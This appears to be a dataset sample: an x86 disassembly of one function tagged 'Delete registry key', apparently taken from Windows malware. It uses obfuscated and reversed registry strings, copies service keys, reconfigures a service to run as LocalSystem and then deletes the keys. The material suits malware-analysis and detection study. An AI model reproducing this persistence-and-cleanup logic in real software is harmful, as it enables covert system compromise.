Function at 0x4034c0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4f8
push edi
mov byte [ebp - 4], 0
mov eax, dword [str.sOFtwaRe_]
mov dword [ebp - 0x4d0], eax
mov ecx, dword [0x42eb58]
mov dword [ebp - 0x4cc], ecx
mov dx, word [0x42eb5c]
mov word [ebp - 0x4c8], dx
mov ecx, 0x16
xor eax, eax
lea edi, [ebp - 0x4c6]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x4d0]
push eax
call fcn.00401870
add esp, 4
lea ecx, [ebp + eax - 0x4d0]
mov dword [ebp - 0x4e4], ecx
push 0xa
mov edx, dword [ebp - 0x4e4]
push edx
call fcn.00401ed0
add esp, 8
mov eax, dword [ebp - 0x4e4]
mov byte [eax + 0xa], 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004047a0
add esp, 4
push 0
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401870
add esp, 4
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.004026d0
add esp, 0xc
cmp eax, 0x723f2ad5
jne 0x403571
mov al, byte [ebp - 4]
jmp 0x4038d8
lea ecx, [ebp - 0x4d0]
push ecx
lea edx, [ebp - 0x46c]
push edx
call fcn.00402560
add esp, 8
mov eax, dword [ebp - 0x4e4]
mov byte [eax + 9], 0
push 0
lea ecx, [ebp - 0x4e0]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x4d0]
push edx
push 0x80000002
call dword [0x42ec7c]
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea ecx, [ebp - 0x46c]
push ecx
push 0x80000002
call dword [0x42ec7c]
mov byte [ebp - 0x408], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x407]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, dword [str.SYSTEMCurrentControlSet_seRviCes_]
push edx
lea eax, [ebp - 0x408]
push eax
call fcn.00402560
add esp, 8
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x408]
push edx
call fcn.00402510
add esp, 8
push 0
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x408]
push ecx
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHCopyKeyA]
mov edx, dword [str.NIAmeciVRes]
mov dword [ebp - 0x4dc], edx
mov eax, dword [0x42eb4c]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [0x42eb50]
mov dword [ebp - 0x4d4], ecx
push 0
push 0
call fcn.00402580
push eax
push 1
lea edx, [ebp - 0x4dc]
push edx
call fcn.004047e0
add esp, 4
push eax
lea eax, [ebp - 0x4d0]
push eax
push 0x80000002
call fcn.00402e20
mov ecx, dword [0x42eb44]
mov dword [ebp - 0x4d5], ecx
push 0
push 0
mov edx, dword [ebp + 0x10]
push edx
push 2
lea eax, [ebp - 0x4dc]
push eax
lea ecx, [ebp - 0x4d0]
push ecx
push 0x80000002
call fcn.00402e20
movsx edx, byte [0x42f30c]
test edx, edx
je 0x403710
mov eax, dword [str.UPdatecXc]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [0x42eb3c]
mov dword [ebp - 0x4ec], ecx
mov dx, word [0x42eb40]
mov word [ebp - 0x4e8], dx
mov byte [ebp - 0x4e9], 0x72
push 1
push 0
push 0x42f30c
push 1
lea eax, [ebp - 0x4f0]
push eax
lea ecx, [ebp - 0x4d0]
push ecx
push 0x80000002
call fcn.00402e20
mov edx, dword [str.eludom]
mov dword [ebp - 0x4f8], edx
mov ax, word [0x42ea70]
mov word [ebp - 0x4f4], ax
mov cl, byte [0x42ea72]
mov byte [ebp - 0x4f2], cl
push 1
push 0
push 0x42f340
push 1
lea edx, [ebp - 0x4f8]
push edx
call fcn.004047e0
add esp, 4
push eax
lea eax, [ebp - 0x4d0]
push eax
push 0x80000002
call fcn.00402e20
push 0x42eb34
call fcn.00401870
add esp, 4
add eax, 1
push eax
push 0x42eb34
lea ecx, [ebp - 0x408]
push ecx
call fcn.00401870
add esp, 4
lea edx, [ebp + eax - 0x408]
push edx
call fcn.00401660
add esp, 0xc
push str.rameters
lea eax, [ebp - 0x408]
push eax
call fcn.00402510
add esp, 8
lea ecx, [ebp - 0x408]
push ecx
push 0x80000002
lea edx, [ebp - 0x4d0]
push edx
push 0x80000002
call fcn.00403220
add esp, 0x10
and eax, 0xff
test eax, eax
je 0x40389a
push 0
push 0x42f54c
push str.LocalSystem
push 0x42f54c
push 0
push 0x42f54c
push 0
push 0
push 2
push 0xffffffffffffffff
mov eax, dword [ebp + 8]
push eax
call dword [0x42eca4]
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.004027b0
add esp, 4
test eax, eax
je 0x403826
mov edx, dword [ebp + 8]
push edx
call fcn.00403360
add esp, 4
and eax, 0xff
test eax, eax
jne 0x40385c
push 0x5c
lea eax, [ebp - 0x408]
push eax
call fcn.00401820
add esp, 8
mov byte [eax], 0
lea ecx, [ebp - 0x408]
push ecx
push 0x80000002
lea edx, [ebp - 0x46c]
push edx
push 0x80000002
call fcn.00403220
add esp, 0x10
jmp 0x40389a
mov byte [ebp - 4], 1
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x408]
push ecx
call fcn.00402560
add esp, 8
push str..rdb
lea edx, [ebp - 0x408]
push edx
call fcn.004045d0
add esp, 8
push 0
lea eax, [ebp - 0x408]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [0x42ecb8]
mov edx, dword [ebp - 0x4e0]
push edx
call dword [0x42ec40]
mov eax, dword [ebp - 8]
push eax
call dword [0x42ec40]
lea ecx, [ebp - 0x4d0]
push ecx
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
lea edx, [ebp - 0x46c]
push edx
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov al, byte [ebp - 4]
pop edi
mov esp, ebp
pop ebp
ret